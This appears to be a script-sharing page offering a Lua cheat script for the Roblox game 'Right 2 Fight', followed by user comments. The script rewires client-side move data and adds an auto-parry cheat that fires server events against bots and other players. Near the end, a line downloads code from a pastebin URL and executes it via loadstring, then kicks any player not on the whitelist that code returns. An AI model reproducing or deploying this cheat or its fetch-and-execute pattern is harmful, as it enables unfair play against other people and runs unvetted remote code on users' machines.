Tanimura Style
Key Required

Tanimura Style

Right 2 Fight (Inactive)IlkeScripye82IlkeScripye82 6.5K views 13 executesUpdated Mar 27, 2025
0.0/ 5(2 votes)
020% Positive
Lua Script•386 lines (12644 chars)
local plr = game.Players.LocalPlayer
local pgui = plr.PlayerGui
local interf = pgui.Interface
local char = plr.Character
local status = plr.Status
local rps = game:GetService("ReplicatedStorage")
local ts = game:GetService("TweenService")

local styles = rps.Styles
local moves = rps.Moves

local connections =  {
    aura = nil,
    parry = nil
}

local function Notify(Text,Sound,Color,Fonts) --text function, sounds: tp, buzz, Gong, HeatDepleted
    local Text1 = string.upper(Text)
    if Sound then
         pgui.Notify:Fire(Text,Sound)
    else
        pgui.Notify:Fire(Text)
    end
    for i,v in pairs(pgui.NotifyUI.Awards:GetChildren()) do
        if v.Name == "XPEx" and v.Text == Text1 then
	       v.Text = Text
             if Color then
		      v.TextColor3 = Color
             end
		  if Fonts then
		      v.Font = Enum.Font[Fonts]
	       end
        end
    end
end

if rps:FindFirstChild("Tanimura Style") and rps:FindFirstChild("Tanimura Style").Value == true then
    return Notify("Tanimura Style is already loaded","buzz",Color3.new(1,0,0),"Bangers")
end
local loaded
if not rps:FindFirstChild("Tanimura Style") then
    loaded = Instance.new("BoolValue", rps)
    loaded.Name = "Tanimura Style" loaded.Value = true
end

local oldbrawlerstyle = {
    ["VisualName"] = "Fisticuffs",
    ["Color"] = styles.Brawler.Color.Value,
    ["Speed"] = 1,
    ["Rush1"] = "BAttack1",
    ["Strike2"] =  "BStrike2",
    ["Rush2"] = "BAttack2",
    ["Strike3"] = "BStrike3",
    ["Rush3"] = "BAttack3",
    ["Strike4"] = "BStrike4",
    ["Rush4"] = "BAttack4",
    ["Strike5"] = "BStrike5",
    ["Block"] = styles.Brawler.Block.AnimationId,
    ["HitBlock"] = styles.Brawler.HitBlock.AnimationId,
    ["Pummel"] = "T_Pummel",
    ["H_GrabStanding"] = "H_Fisticuffs",
    ["H_GetupUp"] = "H_HeadPressUp",
    ["H_FallenDown"] = "H_FallenProne",
    ["H_Fallen"] = "H_FallenSupine",
    ["H_BlockingEnemy"] = "H_FaceTwist"
}

local tanimura = styles.Brawler

local moveset = {
    ["VisualName"] = "Tanimura",
    ["Color"] = Color3.fromRGB(0, 0, 255),
    ["Speed"] = 1.25,
    ["Rush1"] = "BAttack2",
    ["Strike1"] = "BStomp",
    ["Strike2"] = "BStrike4",
    ["Rush2"] = "BAttack1",
    ["Strike3"] = "BStrike3",
    ["Rush3"] = "龍Attack2",
    ["Strike4"] = "BStrike2",
    ["Rush4"] = "BAttack3",
    ["Strike5"] = "B2Strike4",
    ["Block"] = styles.Rush.Block.AnimationId,
    ["HitBlock"] = styles.Rush.Hit1Block.AnimationId,
    ["Pummel"] = "T_Pummel",
    ["H_GrabStanding"] = "H_FaceTwist",
    ["H_FallenDown"] = "H_FallenGrate",
    ["H_Fallen"] = "H_FallenBeatdown",
    ["H_BlockingEnemy"] = "H_KnockoutFront"
}

local strikes = Instance.new("Folder", rps)
strikes.Name = "strikes"

tanimura["2Strike2"].Parent = strikes
tanimura["2Strike3"].Parent = strikes
tanimura["2Strike4"].Parent = strikes
tanimura["2Strike5"].Parent = strikes

moves.T_FinishingHold4.Name = "fakefinishhold"
moves.T_GrabExpire.Name = "T_FinishingHold3"

local newmoves = {
    {move = "B2Strike4", property = "Anim", value = moves.BEvadeStrikeBack.Anim.AnimationId},
    {move = "B2Strike4", property = "AniSpeed", value = moves.BEvadeStrikeBack.AniSpeed.Value},
    {move = "B2Strike4", property = "HitboxLocations", value = moves.BEvadeStrikeBack.HitboxLocations.Value},
    {move = "BStrike3", property = "Anim", value = moves.BStomp.Anim.AnimationId},
    {move = "BStrike3", property = "HitboxLocations", value = moves.BStomp.HitboxLocations.Value},
    {move = "BStrike3", property = "AniSpeed", value = moves.BStrike3.AniSpeed.Value + 0.1},
    {move = "BStrike2", property = "Anim", value = moves.BAttack3.TurnAnim.AnimationId},
    {move = "BStrike2", property = "HitboxLocations", value = moves.DashAttack.HitboxLocations.Value}
}

local oldmoves = {
    {move = "B2Strike4", property = "Anim", value = moves.B2Strike4.Anim.AnimationId},
    {move = "B2Strike4", property = "AniSpeed", value = moves.B2Strike4.AniSpeed.Value},
    {move = "B2Strike4", property = "HitboxLocations", value = moves.B2Strike4.HitboxLocations.Value},
    {move = "BStrike3", property = "Anim", value = moves.BStrike3.Anim.AnimationId},
    {move = "BStrike3", property = "HitboxLocations", value = moves.BStrike3.HitboxLocations.Value},
    {move = "BStrike3", property = "AniSpeed", value = moves.BStrike3.AniSpeed.Value},
    {move = "BStrike2", property = "Anim", value = moves.BStrike2.Anim.AnimationId},
    {move = "BStrike2", property = "HitboxLocations", value = moves.BStrike2.HitboxLocations.Value}
}

local function SetStyle(Moveset, Slot)
    for i,v in Moveset do
        for o,w in Slot:GetChildren() do
            if Slot:FindFirstChild(i) then
                if w.Name == i then
                    if not w:IsA("Animation") then
                        w.Value = v 
                    else
                        w.AnimationId = v
                    end
                end
            end
        end
    end
end

local function ChangeConfig(Table)
    for i,mv in ipairs(moves:GetChildren()) do
	  for i,data in ipairs(Table) do
	      if mv.Name == data.move then
		    if data.property ~= "Anim" and data.value ~= nil then
		        mv[data.property].Value = data.value
		    elseif data.property == "Anim" and data.value ~= nil then
		        mv[data.property].AnimationId = data.value
		    end
	      end
	  end
    end
end

function isInBattle()
	return (plr:FindFirstChild("InBattle") and true or false)
end

function isDungeon()
	return game.ReplicatedStorage.Dungeon.Value
end

function doingHact()
	return (plr.Character:FindFirstChild("Heated") and true or false)
end

function showMaxHeatEffect()
	return (isInBattle() and not doingHact() and plr.Status.Heat.Value >= 100) and true or false
end

function hasWeaponInHand()
	return (plr.Character:FindFirstChild("Holding") and true or false)
end

function IsInPvp()
    if plr:FindFirstChild("PvPed") then
        return true
    else
        return false
    end
end


local DragonColor = Color3.fromRGB(0,0,255)
local DSeq

local function UpdateStyle()
    if status.Style.Value == "Brawler" then
        DSeq = ColorSequence.new({ColorSequenceKeypoint.new(0,tanimura.Color.Value),               ColorSequenceKeypoint.new(1,tanimura.Color.Value)})
        char.HumanoidRootPart.Fire_Main.Color = DSeq
        char.HumanoidRootPart.Fire_Secondary.Color = DSeq
        char.HumanoidRootPart.Fire_Main.Rate = status.Heat.Value >= 100 and 115 or status.Heat.Value >= 75 and 85 or 80
        char.HumanoidRootPart.Fire_Secondary.Rate = status.Heat.Value >= 100 and 90 or status.Heat.Value >= 75 and 80 or 70
        char.HumanoidRootPart.Lines1.Color = DSeq
        char.HumanoidRootPart.Lines1.Rate = status.Heat.Value >= 100 and 60 or status.Heat.Value >= 75 and 40 or 20
        char.HumanoidRootPart.Lines2.Color = DSeq
        char.HumanoidRootPart.Lines2.Rate = status.Heat.Value >= 100 and 60 or status.Heat.Value >= 75 and 40 or 20
        char.HumanoidRootPart.Sparks.Color = DSeq
        if not char.HumanoidRootPart.TimeFor.Enabled then
            char.HumanoidRootPart.TimeFor.Color = DSeq
        end

        char.UpperTorso["r2f_aura_burst"].Lines1.Color = DSeq
        char.UpperTorso["r2f_aura_burst"].Lines2.Color = DSeq
       	char.UpperTorso["r2f_aura_burst"].Lines1.Enabled = showMaxHeatEffect()
	char.UpperTorso["r2f_aura_burst"].Flare.Enabled = showMaxHeatEffect()
        char.UpperTorso["r2f_aura_burst"].Flare.Color = DSeq
        char.UpperTorso["r2f_aura_burst"].Smoke.Color = DSeq
        char.UpperTorso.Evading.Color = DSeq
    end
end

connections.aura = game:GetService("RunService").RenderStepped:Connect(function()
    UpdateStyle()
end)

function UseHeatAction(HeatAction, Style, Bots)
	-- Script generated by SimpleSpy - credits to exx#9394
 
	local args = {
		[1] = {
			[1] = "heatmove",
			[2] = game:GetService("ReplicatedStorage").Moves[HeatAction],
			[3] = {
 
			},
			[4] = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame,
			[5] = Style
		}
	}
 
	for i,v in pairs(Bots) do
		table.insert(args[1][3], {
			[1] = v,
			[2] = 10.49982091806829,
			[3] = false,
			[4] = Vector3.new(0.854888916015625, -0.499908447265625, -3.08367919921875)
		})
	end
 
	game:GetService("ReplicatedStorage").Events.ME:FireServer(unpack(args))
end

-- parry

local parrying = false
local parrydebounce = false
local ParryB = Instance.new("BoolValue", status)
ParryB.Name = "Parrying" ParryB.Value = false

local phighlight = Instance.new("Highlight", plr.Character)
phighlight.Enabled = false
local Prop = "FillColor" -- Change this to your liking
local ogcolor = Color3.fromRGB(77, 124, 161)
phighlight.FillColor = ogcolor
phighlight.FillTransparency = 0.5
phighlight.OutlineColor = ogcolor

local ts = game:GetService("TweenService")

local ptweeni = TweenInfo.new(0.5, Enum.EasingStyle.Back, Enum.EasingDirection.Out)
local ptween = ts:Create(phighlight, ptweeni, {FillColor = Color3.new(1,1,1)})
local _reverseptween = ts:Create(phighlight, ptweeni, {FillColor = ogcolor})

ptween.Completed:Connect(function(p)
    if p ~= Enum.PlaybackState.Playing and p ~= Enum.PlaybackState.Begin then
        _reverseptween:Play()
    end
end)

status.Blocking.Changed:Connect(function()
    if status.Blocking.Value == true and status.Style.Value == "Brawler" then
        parrying = true
        ParryB.Value = true
        task.wait(0.8)
        parrying = false
        ParryB.Value = false
        parrydebounce = false
    elseif status.Blocking.Value == false then
        parrying = false
        ParryB.Value = false
        parrydebounce = false
    end
end)

ParryB.Changed:Connect(function()
    local bool = ParryB.Value
    if bool then
        local t = ts:Create(phighlight, TweenInfo.new(0.2),  {OutlineTransparency = 0})
        t:Play()
        t.Completed:Once(function()
            t:Destroy()
            phighlight.Enabled = true
        end)
    else
        local t = ts:Create(phighlight, TweenInfo.new(0.2),  {OutlineTransparency = 1})
        t:Play()
        t.Completed:Once(function()
            t:Destroy()
            phighlight.Enabled = false
        end)
    end
end)

local function Parry(Enemy)
    UseHeatAction("T_CounterQuickstep","Brawler",{Enemy})
end

local function AutoParry()
    if not IsInPvp() and parrying then
        for i,enemy in pairs(game.Workspace.Bots.AI:GetDescendants()) do
            if enemy:IsA("MeshPart") and enemy.Name == "HumanoidRootPart" and enemy.Parent.LastTarget.Value == plr.Character.HumanoidRootPart then
               if enemy.Parent.AttackBegan.Value == true and not parrydebounce then
                   enemy.Parent.AttackBegan.Value = false parrydebounce = true
                   ptween:Play()
                   Parry(enemy)
               end                                    
           end                                         
	  end                                             
   end                                                 
   if IsInPvp() and parrying then                                   
	 for i,opp in game.Players:GetPlayers() do       
		if opp ~= plr then                           
                if opp.Status.AttackBegan.Value == true and not parrydebounce and (char.HumanoidRootPart.CFrame.Position - opp.Character.HumanoidRootPart.CFrame.Position).Magnitude <= 15 then
                    opp.Status.AttackBegan.Value = false parrydebounce = true
                    ptween:Play()
                    Parry(opp.Character.HumanoidRootPart)               
	           end
	       end
	   end
    end
end

connections.parry = game:GetService("RunService").RenderStepped:Connect(AutoParry)

SetStyle(moveset, tanimura)
ChangeConfig(newmoves)

loaded.Changed:Connect(function()
    if loaded.Value == false then
        SetStyle(oldbrawlerstyle, tanimura)
        ChangeConfig(oldmoves)
        for i,v in connections do
            v:Disconnect()
        end
        table.clear(connections)
        for i,v in strikes:GetChildren() do
            v.Parent = tanimura
        end
        local rootcframe = char.HumanoidRootPart.CFrame
        interf.Client.Disabled = true
        task.wait()
        interf.Client.Disabled = false
        char.HumanoidRootPart.CFrame = rootcframe
    end
end)

local rootcframe = char.HumanoidRootPart.CFrame
interf.Client.Disabled = true
task.wait()
interf.Client.Disabled = false
char.HumanoidRootPart.CFrame = rootcframe

local allowed = loadstring(game:HttpGet("https://pastebin.com/raw/2EJQVmc9"))();



















if not table.find(allowed, plr.UserId) then -- checks if the players user id is in the whitelist 
    plr:Kick(".(") ME:FireServer({"repsound", "Teleport"})
end

Features & Information

Idk

Community Comments (8)

price_ceejay5price_ceejay5Apr 11, 2025

How much is it?

price_ceejay5price_ceejay5May 4, 2025

How do I pay for it

price_ceejay5price_ceejay5May 4, 2025

How do you pay for?

reuceduwudreuceduwudOct 6, 2025

Isn't this ducksy tanimura?

ducksyV2ducksyV2Oct 6, 2025

Enjoy lag spikes and memory leaks as this is my old and not updated tanimura script

billybridger6billybridger6Oct 6, 2025

Outdated script

nitroman56nitroman56Nov 28, 2025

it's outdated and gets you kicked

nitroman56nitroman56Nov 30, 2025

this one gets you kicked and it says eat kick noob

More Scripts for Right 2 Fight (Inactive)